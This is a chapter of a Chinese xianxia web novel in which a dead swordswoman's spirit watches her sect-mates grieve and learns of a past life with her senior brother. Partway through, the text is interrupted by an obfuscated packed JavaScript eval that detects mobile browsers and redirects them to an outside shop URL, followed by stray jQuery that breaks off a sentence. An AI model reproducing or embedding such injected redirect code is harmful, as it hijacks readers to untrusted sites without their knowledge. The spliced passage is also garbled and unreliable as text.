所有人里,来得最早的是江北秋和江南夏。

    因为被救下的江陵月惊魂未定,第一时间给希音派发去了传讯。他们才能在华峥用灵火将谢春雪送归天地前赶来。

    姐弟两人见到了她最后一面。何其不幸,何其有幸。

    谢春雪站在自己的尸体旁边,见两人哭得肝肠寸断,也掉了眼泪。

    “希音派的音修双子星啊。”师隐有意转移她的注意力,“春雪,其实天衍宗也有过剑修双子星哦。”

    女子吸了吸鼻子,红通通的眼睛望向他,“我怎么不知道?”

    天衍宗的历史她可是背过的,这人在驴她吧?不是随便两个人就能叫双子星的。

    “因为天衍宗的剑修双子星,就是你和我啊。”

    少年笑道,“你好啊,天生剑骨的小师妹,我是你天生剑骨的大师兄。”

    谢春雪睁大眼,“啊?!”

    师隐斜眼坏笑,“你小时候我还抱过你呢。”

    她只愣了一下,追着他打,“好啊,我说怎么感觉那么熟悉,你这欠揍的样子真是深得师尊真传!”

    他笑着躲闪,好像又回到了无忧无虑的那些年。

    天衍宗的大师兄叫师隐,天生剑骨,天资卓越。他有个无人不知的爱好,就是看话本。

    冬春交替,寒风凛冽。起了个大早的师隐风雨无阻地下山,准备去集市的书肆淘宝。

    结霜的路边草丛,半大的少年捡到一个被抛弃的婴儿。

    师隐和婴孩大眼瞪小眼,兴奋大喊,“忠仆走投无路下将主家唯一的血脉送到了天下第一大宗门,只盼他日后学成归来追查身世,以报灭门之仇!”

    谢春雪&系统:……?

    “小隐,你还是少看点话本吧。”被华峥摇来的岁流光扶额,接过孩子,“既然是女孩儿,就先由我养着。”

    “只有纸条?没有传家玉佩?也没有血书?”师隐犹不死心。

    华峥一巴掌拍他脑门上,“小兔崽子,能不能盼你师妹点好的?”

    从那以后,天衍宗多了个小师妹,好似大师兄的翻版。一样的天赋异禀,光环加身。

    少年们初登场就声名大噪,宗门大比首次迎来并列第一。剑道双子星,师隐,谢春雪。

    和师妹打了个平手的师隐见了同样平局的江北秋和江南夏,大受启发。

    他闹着要改名叫谢冬阳,理由是和师妹更搭对,被师尊无情拒绝。难过得一整天没看话本,还是小师妹来哄好的。

    而后宗门比武破天荒有了两位魁首,师隐和谢春雪的名字并列第一,万众瞩目,万人传颂。

    ……

    谢春雪听他讲完,注视着意气风发的少年,轻声道,“所以,你才会混进上一届宗门大比,用卦修的身份作出预测。”

    轮回道师隐,不是剑修师隐。他只能用这种方式,才能让他们的名字在众目睽睽之下,再次并列高悬,传唱千年。

    满场鼎沸欢声里,无边绚烂花雨下,他是否也在仰望自己,恍惚梦回当年?

    “我从来瞒不住你。”师隐承认,望着她,笑容灿烂,目光落寞。

    “师妹,那是我们的第一世。”

    是他最美好,也最难以忘怀的一世。

    谢春雪追问后来,师隐又玩起了守口如瓶那套。少年恢复了没心没肺的模样,带着她离开了天衍宗。

    “走,去看看老朋友们。”

    天冬阁里,滕纪年和陆无为相对无言,脸色俱是灰白不已。

    即使早有预感,验证的这天,依旧难以接受。

    师隐奇道,“他们像是提前知道了?”

    谢春雪点头,“我答应过他们,不会闭关超过百年。”

    从聂阴夺舍到身死,林行路一直对外宣称她在闭关,时间早超过百年了。

    “言出必行的人真可怕。”他慢悠悠提着玉佩出了悬壶门,“还以为能看到俩人抱头痛哭呢。”

    “你再说得这么幸灾乐祸试试呢。”

    “你指望我能对情敌有什么好脸色?我没笑出声已经很善良了。”

    谢春雪面色古怪,“有点边界感好吗?我俩现在又没关系。”

    师隐撇嘴,“啧。”

    万象阁里,万俟玄盯着眼前茫然的鲛人,硬邦邦地重复,“法阵没坏。通讯器也没坏。”

    传不过去是因为那个人不在人世了,发不了消息是因为对方的灵息散了。

    “春雪已经死了。”万俟玄握紧手里的折扇,指节用力到发白,“她已经死了。”

    她还欠自己一个解释。他还没有听她解释。

    她怎么能死。

    她怎么会死。

    他真是全天下最蠢的人,就这么被邪修骗了,怨恨了这么久,到头来才发现恨错了人,连弥补的机会都没有。

    万俟玄低低地笑了,笑得断断续续,原来是在哭。

    龙钧沉默地捧着水晶球走了,深蓝色的珍珠噼里啪啦滚了一路。

    谢春雪郁闷地捂脸,呜咽道,“我不想看了,别带我去找他们。”

    师隐恍若未闻,步履不停。

    天不明失手摔了刀,又很快捡了起来,静坐三天三夜后,不要命地追杀邪修。

    花溪失神半晌,在合欢宗后山立了一个小小的衣冠冢,如花面容再未露过笑意。

    冉青兰哭至失声泣血,此后每年忌日,谢春雪的院中都会多一坛她新酿的酒。

    谢春雪只能看着她们痛苦,束手无策。她泣不成声,质问师隐,“你为什么非要带我来看?我都说了我不想看!”

    “你不看,便就不存在了吗?”少年平静与她对视,“你不看,他们不就白白痛苦了?”

    他笑,“我就是要你亲眼来看,会有多少人因你的死而痛不欲生。”

    “你,你到底想说什么?”她困惑。

    师隐敛容,深深凝望她,“春雪,不要死。”

    不要当那个甘愿牺牲的人。

    “对我,对我们来说,你的命非常、非常、非常重要。”

    甚至比整个世界都重要。

    他第二次在她面前落泪,“你离开带来的痛苦,远比死亡更让我恐惧。”

    谢春雪迷惑地与他对望,“在你经历的轮回里,我死过很多次?”

    她有那么菜?不可能吧。

    师隐轻而易举读懂了她的未尽之言,疲倦地垂眸,“春雪,一旦你决心赴死,再没有人能够拦住你。”

    他问,“如果牺牲你一个人,就能拯救这个世界,你愿意吗?”

    谢春雪不假思索,“别无他法的情况下,我愿意。”

    这条命本就是她好运捡回来的,若能凭一己之死,换得众人皆生,所爱之人安稳度日,当然再好不过了。

    她眨眼,恍然大悟,“我是这样死的?听上去还不错。”

    天衍宗的历史记载可以给她单开一页了。

    又是相同的回答,但师隐这次笑不出来了。要不是虚影抓不住,他真想狠狠咬这人一口。

    他深呼吸,咬牙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752763|207761||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道,“走,去看徐舟来。”

    徐舟来在世间游荡。

    十方大陆九州四海,他全走了一遍。

    谢春雪在他后面跟着,“大师兄在找什么呢?”

    师隐慢了半拍,回她,“找你啊。你不是让他找下辈子的你吗?”

    “我那是哄他的。”她盯着在人群中寻觅的徐舟来,叹气,“师兄好笨啊。”

    “嗯嗯,你的师兄都是傻子。”他笑着把自己也骂进去了。

    漫长的时间里,其他人的生活早就回到正轨。他们都有自己的责任,不可能行止由心,毫无顾忌地抛下一切,随她而去。

    遍寻无果后,徐舟来回了天衍宗,潜心修炼,很快飞升。

    谢春雪满意,“不错,总算想开了。”师隐笑笑不说话。

    没过多久,徐舟来又从仙界坠落尘世。修为尽失,变成一介凡人。

    他成了古往今来第一个飞升后重回修仙界的人。

    女子瞳孔地震,“这是怎么回事?!”

    还没等她想明白,青年撞柱而死,白发染血。魂魄飘往幽冥去。

    师隐也带着她进了冥府。看徐舟来在奈何桥上徘徊,四处询问谢春雪的下落。

    地府比九州小多了,他很快就翻了个遍。惦念的人还是渺无影踪。

    阎君感念他的痴情,亲口告知他,“你师妹乃修仙之人,魂归天地,不入地府。莫要再寻了。”

    他安静听完,只道,“我还没去魔域找过。”

    阎君闻言,长叹一声,“真痴儿也,奈何不渡。”

    徐舟来成了鬼修,离开幽冥,直往营州。

    时移势迁,外面早已改天换地。换日计划顺利进行,仙门百家覆灭大半,仅剩的不过是苦苦支撑。邪魔妖道横行,在世的故人寥寥无几。

    魔域的封印已经破除,徐舟来一头扎进满目疮痍的土地,寻找根本不存在的来世。

    “师兄,不要再找了。”谢春雪喃喃,“别找了……”

    怎么可能找得到呢?

    上穷碧落下黄泉,两处茫茫皆不见。

    她哭着求师隐,“你告诉他啊,让他别找了,我不想看他这么痛苦。”

    她还得再待下去,直到弄清世界覆灭的真相。可她实在看不下去徐舟来这副行尸走肉的模样了。

    只因为她当时随口的一句话。

    “春雪,这个世界上能看到我的,只有两个人。除你以外,他不在其中。”

    少年不为所动,“痛心吗?难过吗?如果我说,你每次死后,他都会如此上天入地,苦寻千年,你还会那般决绝地牺牲自己吗?”

    谢春雪怔怔望着他。

    “你死得多痛快啊,哪管我们这些人怎么想?”师隐恶狠狠地瞪她,泪水却不断从眼角涌出,“你大公无私,舍己为人,结果呢?这狗屁世界不过多延续了千年,我们只不过是多痛苦了千年而已。与其这样,不如当初一道死了!”

    他喘息几口,抬手直接把人打晕,冷冷道,“神魂入梦去告诉他吧。”

    谢春雪惶惑,又怕徐舟来很快苏醒,只来得及看了师隐一眼,就沉入了大师兄的识海。

    她睁眼,发现自己就站在熟悉的院子里。四棵树都开着花,让她分不清这是哪个季节。

    剑修推开门,正打算去徐舟来的院子找他,人就这么出现在门外。

    白发如雪的青年垂首,小心翼翼道,“师妹,是要去方焉秘境吗?带上我吧。”

    谢春雪一愣,泪水夺眶而出。